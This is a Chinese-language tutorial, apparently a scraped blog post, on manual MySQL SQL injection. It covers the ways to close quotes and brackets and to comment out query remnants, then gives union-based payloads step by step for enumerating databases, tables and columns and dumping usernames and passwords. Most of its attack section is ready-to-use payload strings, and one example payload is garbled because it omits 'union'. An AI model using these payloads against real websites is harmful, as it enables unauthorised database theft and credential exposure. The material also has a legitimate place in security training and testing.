mysql的注入,關鍵是要找到注入點,對注入點進行處理,該閉合的引號,括號等要先進行閉合,而後註釋掉多餘的語句php
1、稍微總結下幾種閉合方法:html
通常來講,程序員在書寫select語句時,會對傳入的變量進行一些處理,常見的有以下幾種,這裏以php爲例,假設傳輸進來的變量爲‘$id‘’,其餘後端語言也相同。mysql
select * from tables where id=$id; #這種狀況下,$id變量多爲數字型 不須要閉合符號,能夠直接注入,但若是系統作了只能傳入數字型的判斷,就沒法注入 select * from tables where id='$id'; #這種狀況下,$id變量多爲字符型 須要閉合單引號,能夠用?id=1'這種形式閉合 select * from tables where id="$id"; #這種狀況下,$id變量多爲字符型 須要閉合雙引號,能夠用?id=1"這種形式閉合 select * from tables where id=($id); #這種狀況下,$id變量多爲數字型 須要閉合括號,能夠用?id=1)這種形式閉合 select * from tables where id=('$id'); #這種狀況下,$id變量多爲字符型 須要同時閉合單引號和括號,能夠用?id=1')這種形式閉合 select * from tables where id=("$id"); #這種狀況下,$id變量多爲字符型 須要同時閉合雙引號和括號,能夠用?id=1")這種形式閉合 select * from tables where id=(('$id')); #這種狀況下,$id變量多爲字符型 須要同時閉合單引號和兩層括號,能夠用?id=1'))這種形式閉合
有些語句還有limit子句,如select * from tables where id='$id' limit 0,1;,咱們能夠經過上面提到的方法先閉合單引號,而後用%23,即註釋符註釋掉後面的語句,具體寫法以下:?id=1'%23;便可閉合輸出正確的語句
*注:這裏只列舉幾種常見的寫法,能夠結合實際狀況,進行閉合符號,沒有什麼固定的方式,但最終達到一個目的就行了,就是閉合語句中可能有的符號,註釋掉咱們不須要或者可能會限制咱們繼續注入的部分。使得咱們注入這些閉合原有語句的符號後,獲得的語句仍是正確而且可被執行的。
2、手工注入程序員
第一步:找到注入點sql
在變量可控的部分加入一些符號,查看頁面是否正常,舉個例子:數據庫
有這麼一個網站www.example.com/index.php?id=1後端
能夠看到,這裏的id變量是用戶可控的,能夠在id=1後加一個單引號,變成id=1' 。頁面若是報錯多了一個單引號,那麼說明可能存在注入點。瀏覽器
也能夠在id=1後經過and符號多增長多個判斷,若是‘id=1 and 1=1’頁面正常,‘id=1 and 1=2’時頁面不正常,則這個頁面邊可能存在注入。測試
這裏爲何一直說可能呢?由於有些頁面可能在返回結果出作過濾,雖然你這裏帶入數據庫是能夠被查詢的,但沒法返回,是否能夠利用須要結合具體狀況對待,也有多是被重定向進入到一個蜜罐中,故意放行,捕獲入侵行爲,但這個通常不會碰到。網站
第二步:就是閉合語句
參照最開始提出的幾種閉合方法,對語句進行閉合。這裏再也不贅述,這裏特別說一下注釋掉不須要語句的問題。
若是在第一步的數據庫報錯中出現了limit附近的語法錯誤,通常來講,原有語句中的這個limit咱們是沒法利用的,多半可能會致使咱們的閉合沒法完成,並且爲了後續便於咱們遍歷數據庫,咱們須要注入一個咱們可控的limit子句,因此須要註釋掉原有語句的limit子句,防止衝突。可使用%23(#),--%20 %23這些數據庫註釋符號,進行註釋。舉個例子:
有這麼一個網站:www.example.com/index.php?id=1
他在數據中的查詢語句是select * from table where id='$id' limit 0,1;
那麼咱們注入的語句就能夠是?id=1' %23
這個時候,帶入到數據庫查詢的語句就變成了select * from table where id='$id' #' limit 0,1;
#會把後面的語句註釋掉,而後咱們獲得實際執行的語句就成了select * from table where id='$id';
還要說一下,咱們在注入的時候,爲何使用的%23而不是#呢,由於因爲編碼的問題,在瀏覽器中直接提交#會變成空,因此咱們使用url編碼後的#,即%23,當傳輸到後端時,後端語言會對它自動解碼成#,纔可以成功帶入數據庫查詢。
第三步:通過前面兩步,咱們已經經過閉合和註釋,構造出了一段空白區域,這段空白區域可使得咱們注入查詢語句並得以帶入執行。
前兩步的工做很是重要,若是不作前面兩步,或者前面兩步作很差,在這一步時,你就還要去調整語句,那麼一長串的報錯,會很奔潰,因此我特別推薦,先去作前兩步,使得語句該閉合的閉合,該註釋的註釋,那麼注入的閉合符號和註釋符號之間就是咱們的注入地帶。會爲接下來的步驟省去不少精力。
接下來仍是以www.example.com/index.php?id=1,在數據查詢語句爲select * from table where id='$id' limit 0,1;做爲示例。
(1)先經過order by 子句判斷有幾個字段。
payload:?id=1' order by n %23
若是n爲3時頁面正常,n爲4時頁面不正常,則能夠判斷有三個字段。這裏就假設咱們獲得的n爲3,繼續舉例。
(2)經過and 1=2 union select 1,2,3……,n聯合查詢判斷顯示字段是哪些
payload:?id=1' and 1=2 union select 1,2,3……n
#這裏的n爲咱們上面經過order by n測試出來的那個值,這裏咱們取3。因此實際注入時就是?id=1' and 1=2 select 1,2,3
提交後,能夠看到頁面中出現能夠被顯示的字段編號,咱們經過在響應位置替換成咱們須要的查詢字段和表就能夠,如這裏,我注入出來的是2和3位置能夠被注入,也就是接下來全部注入的內容更都須要替換這裏select語句中的2和3
(3)暴出當前庫和版本
payload:?id=1' and 1=2 union select 1,database(),version() %23
(4)暴出其餘數據庫
payload:?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1%23
經過調整limit便可遍歷出全部的數據庫,調整方法爲limit 0,1;limit 1,2;limit 2,3……直到出現錯誤或異常
(5)暴對應數據庫的數據表
payload:?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=數據庫名的十六進制 limit 0,1%23
這裏我用當前數據庫來作演示,即security庫
遍歷也是經過調整limit來實現的,方法同上
(6)暴對應數據庫、數據表的各個字段
payload:?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=庫名十六進制 and table_name=表名十六進制 limit 0,1%23
這裏我用security庫和security中的users表來作演示
遍歷也是經過調整limit來實現的,方法同(4)
(7)暴數據,也就是咱們常說的脫庫
payload:?id=1' and 1=2 union select 1,字段名,3 from 庫名.表名 limit 0,1%23
這裏因爲2和3位都是可用的,因此我能夠在兩個位同時顯示兩個字段。這裏選用了security庫的users表,咱們只關注用戶名和密碼字段,因此只暴這兩個字段便可
遍歷也是經過調整limit來實現的,方法同(4)
參考文章:
https://www.waitalone.cn/mysql-injection-summary.html
http://www.jb51.net/hack/41493.html